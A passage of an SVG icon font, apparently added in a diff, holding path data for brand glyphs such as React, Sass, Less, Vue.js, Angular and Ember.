-35.2002c2.2998 -1.2998 3.89941 -3.7998 3.89941 -6.39941v-70.4004zM230.5 310.4l-0.799805 -0.5h1.09961zM306.7 180.2l-0.400391 0.700195v-0.900391z" /> + <glyph glyph-name="osi" unicode="" horiz-adv-x="512" +d="M8 181.56c2.2998 135.801 97.3994 232.441 213.799 248.102c138.8 18.5996 255.601 -75.7998 278 -201.101c21.2998 -118.8 -44 -230 -151.6 -274c-9.2998 -3.7998 -14.4004 -1.69922 -18 7.7002c-17.7998 46.2998 -35.5996 92.6328 -53.3994 138.999 +c-3.09961 8.10059 -1 13.2002 7 16.7998c24.2002 11 39.2998 29.4004 43.2998 55.8008c0.561523 3.60547 0.852539 7.2998 0.852539 11.0615c0 37.3613 -28.7998 67.9971 -65.3525 71.1377c-39 3.40039 -71.7998 -23.6992 -77.5 -59.6992 +c-5.19922 -33 11.1006 -63.7002 41.9004 -77.7002c9.59961 -4.40039 11.5 -8.60059 7.7998 -18.4004c-17.8994 -46.5996 -35.7998 -93.2324 -53.7002 -139.899c-2.59961 -6.90039 -8.2998 -9.30078 -15.5 -6.5c-52.5996 20.2998 -101.399 61 -130.8 119 +c-24.8994 49.1992 -25.2002 87.6992 -26.7998 108.699zM28.8994 183.461c0.399414 -6.59961 0.599609 -14.3008 1.2998 -22.1006c6.2998 -71.9004 49.5996 -143.5 131 -183.101c3.2002 -1.5 4.39941 -0.799805 5.59961 2.2998c14.9004 39.1006 29.9004 78.2012 45 117.302 +c1.2998 3.2998 0.600586 4.7998 -2.39941 6.69922c-31.6006 19.9004 -47.3008 48.5 -45.6006 86c1 21.6006 9.2998 40.5 23.7998 56.3008c30 32.6992 77 39.7998 115.5 17.5996c27.4619 -15.834 45.9629 -45.4971 45.9629 -79.4463 +c0 -3.75879 -0.321289 -7.3125 -0.762695 -10.9541c-3.59961 -30.5996 -19.2998 -53.8994 -45.7002 -69.7998c-2.69922 -1.59961 -3.5 -2.89941 -2.2998 -6c15.2002 -39.2002 30.2666 -78.4336 45.2002 -117.7c1.2002 -3.09961 2.40039 -3.7998 5.59961 -2.2998 +c35.5 16.6006 65.2002 40.2998 88.1006 72c34.7998 48.2002 49.0996 101.9 42.2998 161c-13.7002 117.5 -119.4 214.8 -255.5 198c-106.1 -13 -195.3 -102.5 -197.1 -225.8z" /> + <glyph glyph-name="react" unicode="" horiz-adv-x="512" +d="M418.2 270.8c54.3994 -18.7002 93.7998 -48.0996 93.7998 -78.3994c0 -31.7002 -41.7998 -62.6006 -99.5 -81.7002c-3.09961 -1 -6.2002 -2 -9.40039 -2.90039c1.10059 -4.59961 2.10059 -9.09961 3 -13.5c11.4004 -57.5996 2.60059 -104.899 -24.3994 -120.5 +c-26.1006 -15.0996 -68.4004 -0.200195 -111.2 36.6006c-4.59961 4 -9.2002 8.09961 -13.5996 12.3994c-3.5 -3.39941 -7 -6.59961 -10.5 -9.7002c-44.2002 -38.6992 -89.6006 -54.6992 -116.601 -39.0996c-26.2002 15.0996 -34.3994 59.0996 -23.8994 114.6 +c1.19922 6.10059 2.5 12 4 18c-4.60059 1.30078 -9.10059 2.80078 -13.6006 4.30078c-55.5 19 -96.2998 50.2998 -96.2998 81.5c0 30.1992 38.2998 59.3994 91.7002 77.8994c5.89941 2.10059 12.2002 4.10059 18.5996 5.90039 +c-1.39941 5.59961 -2.59961 11.0996 -3.7002 16.7002c-11 56.3994 -3.19922 101.5 23 116.699c27.3008 15.9004 72.9004 -1.09961 118.4 -41.5c2.7998 -2.5 5.59961 -5.09961 8.2998 -7.69922c4 3.89941 8.2002 7.7998 12.5 11.5 +c43.4004 37.7998 86.2998 53.5 112.601 38.3994c27.2998 -15.7998 35.3994 -63.7002 23.0996 -123.3c-0.799805 -3.7002 -1.59961 -7.40039 -2.5 -11.0996c5.40039 -1.60059 10.7998 -3.30078 16.2002 -5.10059zM282.9 355.7c-4 -3.5 -7.80078 -7 -11.7002 -10.7002 +c15.3994 -16.7002 29.5996 -34.5 42.5996 -53.0996c22.6006 -2 45.1006 -5.60059 67.2998 -10.6006c0.900391 3.2998 1.60059 6.60059 2.30078 10c10.5996 51.5 4.09961 90.7002 -12.8008 100.4c-15.7998 9.09961 -50.5 -3.60059 -87.6992 -36zM167.2 140.5 +c-5 8.59961 -9.7002 17.2998 -14.2998 26.0996c-6.40039 -15.1992 -11.9004 -30.0996 -16.3008 -44.5c15.3008 -3.2998 30.8008 -5.7998 46.4004 -7.5c-5.5 8.5 -10.7002 17.2002 -15.7998 25.9004zM136.9 260.8c4.39941 -14.0996 9.69922 -28.7002 16 -43.5996 +c4.5 8.7998 9.2998 17.5 14.1992 26c4.90039 8.59961 10.1006 17.0996 15.4004 25.3994c-15.9004 -2 -31.2002 -4.59961 -45.5996 -7.7998zM164.3 191.9c6.7002 -13.8008 13.7998 -27.3008 21.5 -40.6006s15.9004 -26.2998 24.6006 -39 +c14.6992 -0.899414 29.8994 -1.39941 45.5996 -1.39941s31.2002 0.5 46.0996 1.59961c8.5 12.7998 16.6006 25.7002 24.2002 39c7.7002 13.4004 14.9004 27 21.6006 40.7998c-6.80078 13.7002 -14 27.2002 -21.7002 40.4004s-15.7998 26.0996 -24.2998 38.7002 +c-14.9004 1.09961 -30.3008 1.69922 -45.9004 1.69922s-30.9004 -0.599609 -45.9004 -1.69922c-8.59961 -12.7002 -16.7998 -25.6006 -24.3994 -38.9004c-7.60059 -13.2998 -14.7998 -26.7998 -21.4004 -40.5996zM344.9 140.7c-5 -8.60059 -10.1006 -17.2002 -15.5 -25.6006 +c15.7998 1.80078 31.5 4.5 47 8c-4.90039 15.1006 -10.5 29.8008 -16.9004 44.3008c-4.7002 -9 -9.5 -17.9004 -14.5996 -26.7002zM359.3 217.2c6.10059 14.2002 11.5 28.5996 16.1006 43.3994c-14.4004 3.30078 -29.8008 6 -45.9004 8 +c5.2998 -8.2998 10.4004 -16.6992 15.2998 -25.1992c5 -8.60059 9.7998 -17.4004 14.5 -26.2002zM256.2 329.7c-10 -10.9004 -20.1006 -22.9004 -29.9004 -35.7998c19.7998 0.899414 39.7002 0.899414 59.5 0c-9.2002 12.3994 -19.0996 24.3994 -29.5996 35.7998zM140.2 391 +c-15.7998 -9.09961 -22 -45.5996 -12.6006 -94c1.10059 -5.2002 2.2002 -10.4004 3.5 -15.5c22.2002 4.90039 44.6006 8.40039 67.2002 10.4004c13.1006 18.5996 27.4004 36.3994 42.9004 53.0996c-2.60059 2.40039 -5.10059 4.7998 -7.60059 7 +c-39.2998 34.7998 -76.5996 48.7998 -93.3994 39zM115.7 127.4c6.89941 22 15.2002 43.5996 24.7998 64.5c-9.5 20.5996 -17.7002 41.8994 -24.5 63.5996c-5.7998 -1.7002 -11.5996 -3.5 -17.2998 -5.5c-45.6006 -15.9004 -77.2002 -39.2998 -77.2002 -57.5996 +c1.90039 -12.1006 8.7002 -22.9004 18.7998 -29.9004c17.5 -13.9004 41.7002 -24.5 63 -31.2002c4.10059 -1.39941 8.2002 -2.7002 12.4004 -3.89941zM232.3 29.4004c3.2002 2.7998 6.40039 5.7998 9.60059 8.89941c-15.5 16.7998 -30 34.7002 -43.2002 53.4004 +c-22.9004 1.7002 -45.5 5 -67.9004 9.7998c-1.39941 -5.5 -2.59961 -11.0996 -3.7002 -16.7002c-9 -47.5 -2.39941 -82.7998 13.5 -92c11.4004 -4.5 24.2002 -4 35.3008 1.2998c20.7998 8.2002 39.8994 20.2002 56.3994 35.3008zM256.8 53.7002 +c10.5 11.5996 20.4004 23.7002 29.6006 36.3994c-10 -0.5 -20.1006 -0.699219 -30.4004 -0.699219c-10 0 -19.9004 0.199219 -29.5 0.599609c9.90039 -13.0996 20.0996 -25.2998 30.2998 -36.2998zM387.5 23.7002c3.2002 22.2002 2.40039 44.7002 -2.5 66.2998 +c-0.799805 4 -1.7002 8.09961 -2.7002 12.2002c-22.5 -5.10059 -45.2998 -8.60059 -68.2002 -10.5c-12.7998 -18.7998 -26.8994 -36.7002 -42.1992 -53.6006c4.2998 -4 8.5 -7.89941 12.6992 -11.5c36.6006 -31.3994 70.5 -43.3994 86.4004 -34.1992 +c9.59961 7.69922 15.5996 19.0996 16.5 31.2998zM405.7 131.2c49.8994 16.5 84.7998 41.7998 84.7998 61.3994c0 18.2002 -32.7002 42 -79.2998 58c-4.7998 1.60059 -9.7998 3.2002 -15 4.7002c-6.7998 -21.5 -14.9004 -42.5 -24.5 -62.8994 +c9.89941 -20.7002 18.5 -42 25.5 -63.8008c2.89941 0.800781 5.7002 1.7002 8.5 2.60059zM256 146.2c-25.2998 0 -45.7998 20.5 -45.7998 45.7998s20.5 45.7998 45.7998 45.7998s45.7998 -20.5 45.7998 -45.7998s-20.5 -45.7998 -45.7998 -45.7998z" /> + <glyph glyph-name="autoprefixer" unicode="" horiz-adv-x="640" +d="M318.4 432l164.1 -480h-77.5l-25.2002 81.4004h-119.5l-25.3994 -81.4004h-77.5zM278.1 90.0996h83.6006l-40.9004 130.4h-1.5zM640 43l-158.5 -9.5l-19.4004 56.5l167.9 -15.5996zM177.9 90l-19.4004 -56.4004l-158.5 9.40039l10 31.2998z" /> + <glyph glyph-name="less" unicode="" horiz-adv-x="640" +d="M612.7 229c0 -11 6.7998 -22.5996 27.2998 -23.2998v-27.2998c-20.5 -1 -27.2998 -12.6006 -27.2998 -23.6006c0 -20.3994 3.2002 -32 3.2002 -54.5996c0 -34.2002 -12.7002 -45.2002 -40.5 -45.2002h-20.5v25.2002h6.2998v0.5c13.5996 0 17.2998 4.7002 17.2998 22.5996 +c0 17.2998 -1.59961 32.6006 -1.59961 51.5c0 24.2002 7.7998 33.6006 23.5996 37.2998v1.60059c-15.7002 3.7002 -23.5996 13.0996 -23.5996 37.2998c0 18.9004 1.59961 35.2002 1.59961 51.5c0 17.4004 -3.09961 22.0996 -17.2998 22.0996h-6.2998v24.2002h20.5 +c27.8994 0 40.5 -11 40.5 -45.2002c0 -22 -3.2002 -34.0996 -3.2002 -54.5996zM507.1 197c20.5 -6.7998 43 -18.9004 43 -47.7998c0 -28.9004 -22.5996 -51 -64.5996 -51c-20 0 -44.0996 9 -59.9004 22.0996l21 30.5c14.2002 -11 27.4004 -16.2998 40.5 -16.2998 +c14.2002 0 20.5 5.2002 20.5 13.0996c0 10.5 -15.7998 15.8008 -32.0996 22.1006c-18.9004 7.2998 -41.5 20.5 -41.5 46.2002c0 28.8994 24.2002 49.3994 59.9004 49.3994c24.1992 0 42.0996 -10.5 55.1992 -20.5l-21 -27.7998c-11.5 8.40039 -22 13.0996 -33.5996 13.0996 +s-17.9004 -4.69922 -17.9004 -12.5996c0 -10.5 14.7002 -14.2002 30.5 -20.5zM148.2 137.6c1.59961 0 3.09961 0 6.2002 0.800781l5.2998 -34.2002c-5.7002 -2.10059 -13.6006 -3.7002 -23.6006 -3.7002c-32.0996 0 -43.0996 21 -43.0996 53.0996v150.801h-14.0996 +c-13.6006 0 -17.3008 -4.80078 -17.3008 -22.1006s1.60059 -32.5996 1.60059 -51.5c0 -24.2002 -7.7998 -33.5996 -23.6006 -37.2998v-1.59961c15.7002 -3.7002 23.6006 -13.1006 23.6006 -37.3008c0 -19.3994 -1.60059 -34.1992 -1.60059 -51.5 +c0 -17.2998 4.2002 -22.5996 17.3008 -22.5996h6.2998v-24.2002h-20.5c-27.9004 0 -40.5 11 -40.5 45.2002c0 22.5996 3.2002 34.2002 3.2002 53.5996c0 11 -6.80078 22.6006 -27.3008 23.1006v27.2998c20.5 1 27.3008 12.5996 27.3008 23.5996 +c0 19.4004 -3.2002 32 -3.2002 54.6006c0 34.2002 12.5996 45.2002 41 45.2002h74.5996v-178.2c0 -9.90039 4.7002 -13.1006 8.40039 -13.1006zM379.9 197c20.5 -6.7998 43.0996 -18.9004 43 -47.7998c0 -28.9004 -22.6006 -51 -64.6006 -51 +c-20 0 -44.0996 9 -59.8994 22.0996l20.5 30.5c14.1992 -11 27.3994 -16.2998 40.5 -16.2998c14.1992 0 20.5 5.2002 20.5 13.0996c0 10.5 -15.8008 15.8008 -32.1006 22.1006c-18.8994 7.2998 -41.5 20.5 -41.5 46.2002c0 28.8994 24.2002 49.3994 59.9004 49.3994 +c24.2002 0 42.0996 -10.5 55.2002 -20.5l-21 -27.7998c-11.5 8.40039 -22 13.0996 -33.6006 13.0996c-11.5996 0 -17.8994 -4.69922 -17.8994 -12.5996c0 -10.5 14.6992 -14.2002 31 -20.5zM224.9 265.8c44.0996 0 67.2998 -33.0996 66.6992 -75.7002 +c0 -8.39941 -1.09961 -15.6992 -1.59961 -19.3994h-95.2002c4.2002 -24.2002 20.5 -34.2002 41.5 -34.2002c11.6006 0 22.6006 3.2002 34.2002 10l15.7998 -27.7998c-16.2998 -11.1006 -37.2998 -17.9004 -56.2002 -17.9004c-45.0996 0 -79.2998 30.5 -79.2998 82.5 +c-1 50.4004 35.7002 82.5 74.1006 82.5zM194.9 199.6h56.7998c0 17.9004 -7.40039 31 -26.2998 31c-14.7002 0 -27.3008 -10 -30.5 -31z" /> + <glyph glyph-name="sass" unicode="" horiz-adv-x="640" +d="M301.84 69.0801c-0.299805 -0.599609 -0.599609 -1.08008 0 0zM550.97 156.08c57.9092 0.300781 90.5703 -37.0801 88.9707 -71.0801c-1.10059 -26.9004 -25.6904 -37.9004 -30.29 -38.7002c-3.30078 -0.599609 -5.10059 -0.700195 -5.60059 1.90039 +c-0.299805 1.7998 0.900391 2.7002 4.7998 5.09961c3.90039 2.40039 15.6006 10.5 17.7002 25c2.10059 14.5 -8.7998 49.2998 -64.4795 55.7998c-26 3 -46.3906 -0.599609 -62.0898 -7.19922c2.89941 -7.60059 5.09961 -15.5 5.39941 -23.4004 +c0.799805 -17.5 -11.29 -30.4004 -23.79 -39.5996c-6.50391 -4.72559 -13.8096 -8.50879 -21.5898 -11.1006c-5.2002 -2.2002 -12.2002 -4.5 -17.0996 -3.5c-10.9004 2.2002 -16.7002 11.7998 -9.30078 33.1006c4 11.5 15.5 29 34.0908 44.0996 +c-4.30078 8.7002 -8.99023 17.5996 -11.3906 25.7002c-2.58984 8.31934 -4.7002 17.0566 -6.2002 25.7998c0 0 -15.2998 -31.7197 -35.0898 -60.6201c-1.09961 -1.7002 -2.2998 -3.39941 -3.39941 -5c3.7998 -9 6.89941 -18.5996 7.2998 -28.2002 +c0.700195 -17.3994 -6.90039 -30.5996 -19.4004 -39.7998c-6.1377 -4.40625 -12.9531 -8.00488 -20.1895 -10.5996c-3.90039 -1.7998 -12 -4.60059 -23.5 -5.40039c-6.29004 -0.5 -12.29 -0.0996094 -15.6904 2.5c-4.59961 3.40039 -5.2002 7.7998 -2.7998 13.7002 +c2 5 17.21 22.4004 30 37.5996c3.5 4.2002 6.90039 8.5 9.90039 12.5c-0.0556641 0.0507812 -0.0927734 0.121094 -0.100586 0.200195c0 0 2.2998 3 6.10059 8.2002c-4.7002 10.0996 -10.6006 20.5 -13.4004 30c-2.58984 8.32031 -4.7002 17.0576 -6.2002 25.7998 +c0 0 -15.4902 -39.7002 -31.6895 -71.5c-12.4902 -24.5996 -20.79 -39.5 -24.5908 -46v-0.299805s-0.5 -0.900391 -1.5 -2.40039c-0.5 -0.799805 -0.699219 -1.19922 -0.699219 -1.19922v0.0996094c-4.20996 -6.2002 -13.6104 -18.2998 -23 -18.2998 +c-25.7002 0 -16.3008 52.2002 -16.3008 52.2002s-7.5 -19.3008 -16 -35.9004c-6.88965 -13.5996 -13.0898 -25 -26.8896 -25c-3.90039 0 -10.1904 0.0996094 -15.3896 5c-11.8008 11.2002 -20.9004 39.7002 -19.1006 61.7002c1.5 18.7998 4.40039 31.7998 8.40039 42.5996 +c-7.10059 -3.89941 -15.2002 -8.39941 -23.4902 -13.2998c-4.2998 -2.5 -8.59961 -5 -12.7998 -7.5c0.0996094 -0.299805 0.299805 -0.5 0.400391 -0.799805c10.5996 -20.4004 13.3896 -65.2002 -9.60059 -99.5s-65.7803 -55.2002 -107.57 -43.6006 +c-13.3896 3.80078 -33.79 31.6006 -16.29 70.4004c15.4902 34.2002 77.3809 66.5996 93.6709 74.7002c1.39941 0.799805 2.89941 1.59961 4.5 2.5c-32.4902 28.3994 -113.671 66.7998 -125.061 125.7c-3.2002 16.5996 4.58984 56.2998 53.2803 101.899 +c40.9902 38.2998 97.9697 67.7002 150.66 86.4004c88.4297 31.3994 181.949 12.8994 196.31 -43.5c14.1006 -55.5 -33.9902 -121.8 -95.7695 -145.601c-54.9902 -21.2998 -100.471 -17.8994 -119.17 -11.7998c-21.29 7 -33.79 21 -36.79 28.9004 +c-1.2002 3.09961 -3.30078 8.2998 0 10.0996c2 1.10059 2.7998 0.799805 8.09961 -5.09961c5.09961 -5.60059 25.4902 -20.6006 64.2803 -16.2998c101.77 11.3994 163.06 90.5 143.66 133c-13.4902 29.7998 -91.8408 43.1992 -189.841 -5.60059 +c-119.569 -59.5996 -126.069 -108.7 -127.069 -127.399c-2.7998 -51.3008 63.2793 -78.3008 99.0693 -116.5c0.5 -0.5 0.900391 -1 1.40039 -1.5c6.7002 3.69922 13.7998 7.59961 20.7002 11.3994c18 9.90039 35.0996 19.2002 43 23.5 +c12.5801 18.2998 38.1797 38.5 56.5801 38.5c29.4893 0 19.3896 -42.3994 19.3896 -42.3994s0.599609 2 1.40039 2c0.799805 0 4.09961 5.5 13.1992 2.19922c9.40039 -3.5 7.2002 -10 7.30078 -10.6992c0.0996094 -1.30078 -11 -38.9004 -15.7002 -63.1006 +c-2.2002 -11.5 -0.900391 -19.8994 -0.299805 -19.8994c0.899414 0 2.7998 2.89941 4.5 6.09961v0.0996094s1.2998 2.40039 3.5 6.7002c0 0.200195 -0.200195 -0.299805 -0.5 -0.799805c0.199219 0.400391 0.5 0.900391 0.899414 1.7002 +c2.60059 5 6.2002 12.3994 10.4004 21.5996c8.18945 18.1006 39.4795 87.7002 42.0801 95.4004c2.59961 7.7002 4 15.7002 5.2998 19.0996c1.2998 3.40039 12.4102 6 25.2998 5.90039c12.8906 -0.100586 14.1904 -5.60059 14.29 -6.7002 +c0.100586 -1.09961 -6.2002 -16.4004 -7.59961 -27.2002c-1.40039 -10.7998 -0.100586 -16.2002 1.09961 -25.2998c0.799805 -6 4.5 -13.5 8.90039 -22c13.2998 21.7998 36.79 63.5996 39.0898 75.2998c1.25195 6.51465 3.06152 12.9941 5.2998 19.1006 +c1.29004 3.39941 12.3896 6 25.29 5.89941c12.9004 -0.0996094 14.2002 -5.59961 14.2998 -6.7002c0.100586 -1.09961 -6.2002 -16.3994 -7.59961 -27.1992c-1.40039 -10.8008 -0.100586 -16.2002 1.09961 -25.3008c1 -7.7998 7.10059 -18.1992 13 -30.0996 +c17.4492 8.59473 37.2061 13.5 57.957 13.5h0.0429688zM121.79 11.3799c19.4004 21.0996 27.3896 47.9199 19.0996 78.3203c-1 -0.600586 -2 -1.10059 -2.89941 -1.7002c0 0 -0.400391 -0.200195 -1.2002 -0.700195c-4.7998 -2.89941 -8.7002 -5.2998 -11.4004 -6.89941 +c-11.7998 -7.40039 -29.5898 -19.4004 -43.3896 -32.4004c-22.6904 -21.4199 -27.3896 -51 -15.4902 -57.9199c11.0898 -6.40039 36.8906 1.2002 55.2803 21.2998zM256.15 102.78c4 9.7998 19.6992 53.2998 16.1992 59.2002c-2.59961 4.5 -13.6992 0.899414 -23.79 -10.4004 +c-6.2998 -7 -16.8994 -25 -21.8994 -40.0996c-9.90039 -30 -5.60059 -60.5 1.39941 -62.3008c8.2002 -2.09961 21.6904 37.9004 28.0908 53.6006zM367.15 49.7803c7.7998 4.7998 24.96 16.8994 25.0898 34.7998c0 0.599609 -0.100586 1.09961 -0.100586 1.59961 +c-3.98926 -5.19922 -7.68945 -9.89941 -10.8896 -13.8994c-5.5 -6.7998 -19.4004 -21.7002 -19.4004 -21.7002s-2 -1.90039 -1.09961 -2.40039c1.2002 -0.699219 3.7002 0.200195 6.40039 1.60059zM452.73 69.2803c9.68945 3.5 25.7998 11.8994 25.8994 34.3994 +c-0.0830078 3.7627 -0.750977 7.4043 -1.89941 10.8008c-10.4102 -9.2002 -16.4004 -18.8008 -19 -24.5c-6.7002 -14.6006 -7 -19.3008 -5 -20.7002z" /> + <glyph glyph-name="vuejs" unicode="" +d="M356.9 383.7h91.0996l-224 -383.7l-224 383.7h176l48 -88.6006l56 88.6006h76.9004zM55.7002 351.7l168.3 -288.2l168.2 288.2h-53.7998l-114.4 -198.2l-114.5 198.2h-53.7998z" /> + <glyph glyph-name="angular" unicode="" +d="M185.7 179.9l38.0996 91.5996l38.1006 -91.5996h-76.2002zM223.8 416l207.8 -74.4004l-31.7998 -275.699l-176 -97.9004l-176 97.9004l-31.7998 275.699zM354 74.2002l-130.2 292.3l-130.1 -292.3h48.7002l26.1992 65.3994h110.601l26.2002 -65.3994h48.5996z" /> + <glyph glyph-name="aviato" unicode="" horiz-adv-x="640" +d="M107.2 164.5l-19 41.7998h-52.1006l-19 -41.7998h-17.0996l62.2002 131.4l62.2002 -131.4h-17.2002zM62.2002 262.6l-19.6006 -42.5h39.2002zM174.9 160.2l-62.2002 131.399h17.0996l45.1006 -96l45.0996 96h17zM255.5 164.5v127.1h15.5v-127.1h-15.5zM464.6 280.1 +v-115.6h-17.2998v115.6h-41.2002v11.5h99.6006v-11.5h-41.1006zM640 229.2c0 -9.2002 -1.7002 -17.7998 -5.09961 -25.7998c-3.40039 -8 -8.2002 -15.1006 -14.2002 -21.1006s-13.1006 -10.7998 -21.1006 -14.2002c-8 -3.39941 -16.5996 -5.09961 -25.7998 -5.09961 +s-17.7998 1.7002 -25.7998 5.09961c-8 3.40039 -15.0996 8.2002 -21.0996 14.2002s-10.8008 13 -14.2002 21.1006c-3.40039 8 -5.10059 16.5996 -5.10059 25.7998s1.7002 17.7998 5.10059 25.7998c3.39941 8 8.2002 15.0996 14.2002 21.0996s13 8.40039 21.0996 11.9004 +c8 3.40039 16.5996 5.09961 25.7998 5.09961s17.7998 -1.69922 25.7998 -5.09961s15.1006 -5.7998 21.1006 -11.9004c6 -6 10.7002 -13.0996 14.2002 -21.0996c3.39941 -8 5.09961 -16.5996 5.09961 -25.7998zM624.5 229.2c0 7.2998 -1.2998 14 -3.90039 20.2998 +c-2.59961 6.2998 -6.19922 11.7002 -10.7998 16.2998c-4.59961 4.60059 -10 8.2002 -16.2002 10.9004c-6.19922 2.7002 -12.7998 4 -19.7998 4s-13.5996 -1.2998 -19.7998 -4s-11.5996 -6.2998 -16.2002 -10.9004c-4.59961 -4.59961 -8.2002 -10 -10.7998 -16.2998 +s-3.90039 -13.0996 -3.90039 -20.2998c0 -7.2998 1.30078 -14 3.90039 -20.2998c2.59961 -6.30078 6.2002 -11.7002 10.7998 -16.3008c4.60059 -4.59961 10 -8.19922 16.2002 -10.8994s12.7998 -4 19.7998 -4s13.6006 1.2998 19.7998 4 +c6.2002 2.7002 11.6006 6.2998 16.2002 10.8994c4.60059 4.60059 8.2002 10 10.7998 16.3008c2.60059 6.2998 3.90039 13.0996 3.90039 20.2998zM529.7 132.5c6 -0.900391 10.5 -6 10.7002 -12.2998c0 -6.7998 -5.60059 -12.4004 -12.4004 -12.4004 +s-12.4004 5.60059 -12.4004 12.4004c0 6.2002 4.60059 11.2998 10.5 12.2002v5.7998l-80.2998 -9v-5.40039c5.60059 -1.09961 9.90039 -6.09961 9.90039 -12.0996c0 -6.7998 -5.60059 -10.2002 -12.4004 -10.2002s-12.3994 3.40039 -12.3994 10.2002 +c0 5.89941 4.19922 11 9.89941 12.0996v4.90039l-28.3994 -3.2002v-23.7002h5.89941v-13.7998h-5.89941v6.59961h-5v-6.59961h-5.90039v13.7998h5.90039v23.2002l-38.3008 -4.2998c-8.09961 -11.5 -19 -13.6006 -19 -13.6006l0.100586 -6.69922l5.09961 -0.200195 +l0.100586 -12.1006h-4.10059l-0.0996094 5h-5.2002l-0.0996094 -5h-4.10059l0.100586 12.1006l5.09961 0.200195l0.0996094 6.69922s-10.8994 2.2002 -19 13.6006l-38.2998 4.2998v-23.2002h5.90039v-13.7998h-5.90039v6.59961h-5v-6.59961h-5.89941v13.9004h5.89941 +v23.6992l-28.3994 3.2002v-4.89941c5.59961 -1.10059 9.89941 -6.10059 9.89941 -12.1006c0 -6.7998 -5.59961 -10.2002 -12.3994 -10.2002c-6.80078 0 -12.4004 3.40039 -12.4004 10.2002c0 5.90039 4.2002 11 9.90039 12.1006v5.39941l-80.3008 9v-5.7998 +c5.90039 -0.900391 10.5 -6 10.5 -12.2002c0 -6.7998 -5.59961 -12.3994 -12.3994 -12.3994s-12.4004 5.59961 -12.4004 12.3994c0 6.2002 4.60059 11.2998 10.5 12.2002v6.2998l-88.8994 10l242.899 -13.5c-0.599609 2.2002 -1.09961 4.60059 -1.39941 7.2002 +c-0.300781 2.09961 -0.5 4.2002 -0.600586 6.5l-64.7998 8.09961l64.9004 -1.89941c0 0.399414 0 0.799805 0.0996094 1.09961c2.7998 17.2002 25.5 23.7002 25.5 23.7002l1.09961 26.4004h-23.5996l-19 -41.8008h-17.0996l62.1992 131.4l62.2002 -131.4h-17.0996 +l-19 41.8008h-23.7998l1.09961 -26.3008s22.7002 -6.5 25.5 -23.6992c0 -0.400391 0.0996094 -0.700195 0.0996094 -1.10059l64.9004 1.90039l-64.7998 -8.10059c-0.100586 -2.2998 -0.299805 -4.5 -0.600586 -6.5c-0.299805 -2.59961 -0.799805 -5 -1.39941 -7.19922 +l242.899 13.3994l-88.8994 -10v-6.2998zM328.9 220.1h17.8994l1.7002 40.3008l1.7002 -40.3008h17.8994l-19.5996 42.5z" /> + <glyph glyph-name="ember" unicode="" horiz-adv-x="640" +d="M639.9 193.4c1.09961 -10.8008 -5.30078 -14.3008 -5.30078 -14.3008s-26.5996 -19.5996 -47 -13.6992c-20.3994 5.89941 -21.5 43.1992 -21.5 43.1992h-1.89941l-20.7002 -57.1992s-8.2998 -27.9004 -20.7002 -22.8008 +c-12.3994 5.10059 -12.0996 18.6006 -12.0996 18.6006s-19.2998 -21.2998 -54.7998 -18.6006c-31.1006 2.30078 -41.1006 26.7002 -41.1006 26.7002s-20.7998 -14.3994 -79.0996 -25.8994c-26.1006 -2.90039 -44.6006 12.8994 -44.6006 12.8994 +c-2.39941 -2.39941 -18 -10.2002 -18 -10.2002s-22.2998 -10.2998 -30.8994 5.30078c-8.60059 15.5996 -3 63.6992 -3 63.6992h-1.60059s-12.8994 -26.2998 -19.5996 -49.8994c-6.7002 -23.6006 -15 -21.2002 -15 -21.2002s-15.2998 -1.40039 -18.7998 11.4004 +c-3.5 12.8994 5.59961 59.6992 5.59961 59.6992l-1.2998 -0.299805s-0.799805 1.40039 -12.5996 -23.5996c-20.1006 -48.9004 -24.9004 -50 -36.5 -47.9004c-11.6006 2.10059 -12.1006 16.7002 -12.1006 16.7002l-15.8994 -8.7998s-38.6006 -16.6006 -58.8008 -1.2998 +c-13.3994 10.1992 -18 22.1992 -19.5996 29.6992c0 0 -17 1.80078 -28.0996 6.10059c-11.1006 4.2998 0.0996094 18.2998 0.0996094 18.2998s3.5 5.2998 10 0s18.7998 -2.90039 18.7998 -2.90039c1 8.5 2.5 19.7002 7.7998 31.5c11 24.7002 27.6006 33 41.3008 33.3008 +c13.6992 0.199219 23.3994 -3.5 31.6992 -15.3008c18.6006 -45.8994 -49.3994 -69.1992 -49.3994 -69.1992s-1.7998 -12.1006 16.7002 -11.8008c18.5996 0.200195 46.7998 20.4004 46.7998 20.4004c1.2998 15.4004 12.0996 63.5 15 70.7002 +c2.89941 7.2002 14.2002 5.89941 14.2002 5.89941s8.89941 1.90039 10.5 -7.5c1.69922 -9.39941 -6.40039 -47.5996 -6.40039 -47.5996l1.2998 -1.59961c0.799805 3.69922 20.4004 36.5 20.4004 36.5s11.2998 19.5996 28.5 18.7998s-0.799805 -53.5 -0.799805 -53.5 +l1.2998 -1.60059l1.2998 2.40039c2.2002 5.90039 27.7002 44.5996 27.7002 44.5996s9.59961 11.3008 18.5 8.60059c8.7998 -2.60059 9.39941 -6.7002 9.89941 -14.2002s-7 -52.0996 -7 -52.0996s-4.2998 -29.2002 5.40039 -28.7002s20.2002 10.7002 20.2002 10.7002 +s7.5 57.5996 12.5996 105.1c5.10059 47.5 27.1006 79.5 27.1006 79.5s6.5 10 23.5 16.7002c11.1992 4 23.3994 1.2998 29.1992 -23.1006c9.5 -41 -23.2998 -87.8994 -36.8994 -105.199c5.89941 5.7998 15.7998 12.0996 27.2002 5.2998 +c40.2998 -25.2998 7.2998 -80.9004 7.2998 -80.9004c11.7998 3.7998 33 18 33 18s0.5 6.10059 0.700195 7.5c7.19922 41.2998 32 56.2002 36.5996 59.7002c4.7998 3.59961 47.0996 19.7998 49 -24s-52.9004 -59.0996 -52.9004 -59.0996s4.80078 -12.6006 25 -9.40039 +c20.2002 3.2002 43.3008 22.7998 43.3008 22.7998c0.799805 18 12.5996 61 15 67.2002c2.39941 6.2002 17.1992 6.5 18.7998 3c2.2002 -7 0.299805 -37.5996 0.299805 -37.5996l1.59961 0.5c5.90039 17.5 18.3008 31.1992 18.3008 31.1992s9.89941 9.7002 18 7.30078 +c8.09961 -2.30078 5.09961 -30.4004 5.09961 -30.4004s-4.2998 -30.7002 9.40039 -32c13.6992 -1.40039 29.2998 10.7002 29.2998 10.7002s9.59961 3.89941 10.7002 -6.7998zM61.9004 188.1c0 0 6.19922 -1.89941 19.8994 7.60059 +c13.7002 9.39941 16.4004 24.3994 9.10059 31.3994c-7.2002 6.90039 -28.2002 -7 -29 -39zM334.7 311.9c0 0 -15.9004 -54.5 -16.4004 -70.7002c0 0 44.5 72 40 96.2002c-4.5 24.1992 -23.5996 -25.5 -23.5996 -25.5zM357.5 173.5 +c12.5996 33.0996 -3.59961 45.5 -3.59961 45.5s-23.4004 